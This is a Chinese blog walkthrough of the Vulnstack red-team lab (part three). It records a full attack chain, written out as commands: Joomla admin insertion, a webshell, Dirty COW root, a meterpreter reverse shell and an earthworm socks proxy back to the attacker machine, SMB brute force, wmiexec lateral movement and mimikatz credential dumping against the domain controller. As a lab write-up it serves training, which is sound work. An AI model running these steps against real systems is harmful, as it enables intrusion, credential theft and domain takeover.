[渗透测试]Vulnstack 红队(三)

本文详细描述了一次渗透测试的过程,从利用Joomla CMS的漏洞扫描,通过Kali Linux工具进行信息收集和端口扫描,再到内网渗透。在获取靶机权限后,进行了脏牛提权,并利用Meterpreter进行内网存活主机探测。最终,通过WMI执行和Mimikatz抓取密码,实现了对Windows域控的访问。整个过程展示了网络攻防中的多种技术和策略。
摘要由CSDN通过智能技术生成

环境配置

网络拓扑图(仅供参考)

img

攻击机:
kali ip:192.168.111.5

靶机:

web-centos 外网ip:192.168.111.10  内网ip:192.168.93.100

web1-ubuntu ip: 192.168.93.120

PC ip: 192.168.93.30

win 2008 ip:192.168.93.20

win 2012 ip:192.168.93.10

渗透测试

信息搜集

端口扫描:

nmap -sS 192.168.111.10

image-20220309123734680

发现三个开放端口:22,80,3306

80端口利用

发现是一个joomla搭建的网站

image-20220309125615451Joomla是一套全球知名的内容管理系统,是使用PHP语言加上MySQL数据库所开发的软件系统。
Kali Linux中有一个漏洞扫描器叫做Joomscan,专门用于查找Joomla中的漏洞。

apt install joomscan

进行扫描

joomscan -u 192.168.111.10

image-20220309130030512

这里我们发现了一个后台地址和配置文件

image-20220309130337769

从配置文件中我们可以得到数据库账号密码testuser/cvcvgjASD!@和库名等信息

远程登录MySQL

image-20220309132034864

但是我们会发现此处的密码是加密过的,那么我们插入数据也应该修改为加密后的密码

那么如何得到加密的密码呢?我们可以再joomla的官方网站找到思路

How do you recover or reset your admin password

image-20220309132538504

我们插入它的示例代码就可以添加管理员admin2/secret

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

利用新建用户登录后台,写入木马到shell.php

image-20220309225404162

Bypass disable_function

蚁剑连接,路径http://192.168.111.10/templates/beez3/shell.php

image-20220309225459249

尝试执行命令,发现ret=127应该是存在disable_function,可以用LD_PRELOAD绕过,这里直接利用蚁剑插件,它会上传一个.antproxy.php,我们创建副本,将文件更改为.antproxy.php即可

image-20220309230607537

此时已经可以成功执行命令

内网渗透

内网信息搜集

ifconfig           发现一个网段192.168.93.0/24   和 一个IP地址 192.168.93.120

cat /etc/issue         	#查看系统名称          Ubuntu 16.04.6 LTS \n \l
cat /etc/*release      	#查看linux发行信息
uname -a                #查看内核版本 
cat /proc/version     	#查看内核信息
cat /etc/passwd   		#存放用户名信息,没有密码信息
cat /etc/shadow         #存放用户名密码信息,密码被加密,只要root用户才能读取

可以发现这是一个内网ip,且我们本身的ip并没有出现

继续进行信息搜集,在/tmp/mysql中发现一组用户密码,结合之前端口开放情况,猜测可能是ssh凭证

image-20220309233447068

我们使用ssh连接

image-20220309234112673

也就是说该主机才是我们ip所在的主机,ubuntu则是通过nginx反向代理到了centos主机。

反向代理(Reverse Proxy)方式是指以代理服务器来接受Internet上的连接请求,然后将请求转发给内部网络上的服务器

至此我们已经拿下两台主机

web-centos 外网ip:192.168.111.10  内网ip:192.168.93.100

web1-ubuntu ip: 192.168.93.120

脏牛提权

由于目前主机权限较低,为了进一步利用,我们需要对其进行提权,查看一下centos的内核版本

[wwwuser@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

使用脏牛提权:

exp下载

CVE-2016-5195

原理:linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。

影响版本:

Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10         4.8.0-26.28
Ubuntu 16.04         4.4.0-45.66
Ubuntu 14.04         3.13.0-100.147
Debian 8                3.16.36-1+deb8u2
Debian 7                3.2.82-1

先将exp上传到centos可执行目录内

编译:

gcc -pthread dirty.c -o dirty -lcrypt

移除原本的passwd.bak文件

rm -rf /tmp/passwd.bak

执行编译后的文件,并设置密码

./dirty 123456

image-20220310004346811

成功提权

MSF上线

use exploit/multi/script/web_delivery
set target 7   						# 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.111.5
set lport 4444
exploit

image-20220310010210324

此时我们在目标机上运行该命令

image-20220310010530021

获得meterpreter

image-20220310010737542

存活主机探测

先添加路由,把meterpreter 放在后台,进行存活主机探测。

run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit

得到了三台TEST域的windows主机

192.168.93.20 windows server 2008

192.168.93.30 windows 7

192.168.93.10 windows server 2012

尝试爆破一下windows server 2008的本地管理员

use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/top1000.txt
run

smb模块没有爆出来,我们利用其他软件试试

Sock代理

路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。.earthworm搭建socks5反向代理服务 是为了让kali(攻击者)的程序进入内网,可以扫描内网主机信息等。

https://github.com/idlefire/ew

在kali上执行

./ew_for_linux64 -s rcsocks -l 1080 -e 1234
  #将1080端口监听到的本地数据转发到 web服务器的1234端口
  # 通过1080端口,将本地流量转发出去
  #rcsocks、rssocks 用于反向连接
  #ssocks 用于正向连接
  # -l 指定本地监听的端口
  # -e 指定要反弹到的机器端口
  # -d 指定要反弹到机器的IP
  # -f 指定要主动连接的机器 ip
  # -g 指定要主动连接的机器端口
  # -t 指定超时时长,默认为 1000

image-20220310105157072

之后将其上传到centos,执行

./ew_for_linux64 -s rssocks -d 192.168.111.5 -e 1234
#192.168.111.5 是攻击者kali的IP地址

将socks5 服务器指向 1080端口

vim /etc/proxychains.conf

image-20220310105950819

此时已经能够成功ping通内网,我们利用hydra再尝试一下爆破

proxychains hydra -l administrator -P /tmp/top1000.txt smb://192.168.93.20

image-20220310110626590

成功!

横向移动

wmiexec连接win主机

wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。

安装:

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .  

连接win 2008:

proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

image-20220310114945509

mimikatz密码抓取

tasklist /V 查看进程(显示对应用户),发现TEST域进程,可以尝试抓密码。

image-20220310121648455

使用 smbclient 通过代理连接 windows server 2008 上传mimikatz.exe文件

proxychains smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe

下载地址:

https://github.com/gentilkiwi/mimikatz/releases

之后利用wmi抓取密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

image-20220310122633445

得到zxcASDqw123!!

此时我们还需要获得域控的ip,先获得win2008的ip

image-20220310122903444

再ping一下域名服务器

image-20220310123048438

也就是说域控信息:

ip:192.168.93.10
administrator/zxcASDqw123!!

拿下域控

可以使用wmiexec连接

proxychains python3 wmiexec.py ‘TEST.ORG/Administrator:zxcASDqw123!!@192.168.93.10’

或者使用ipc连接

IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。

利用条件:

  1. 管理员开启了默认共享
  2. 139或445端口开放
net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator

总结

1.脏牛提权

2.sock代理

3.wmiexec

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值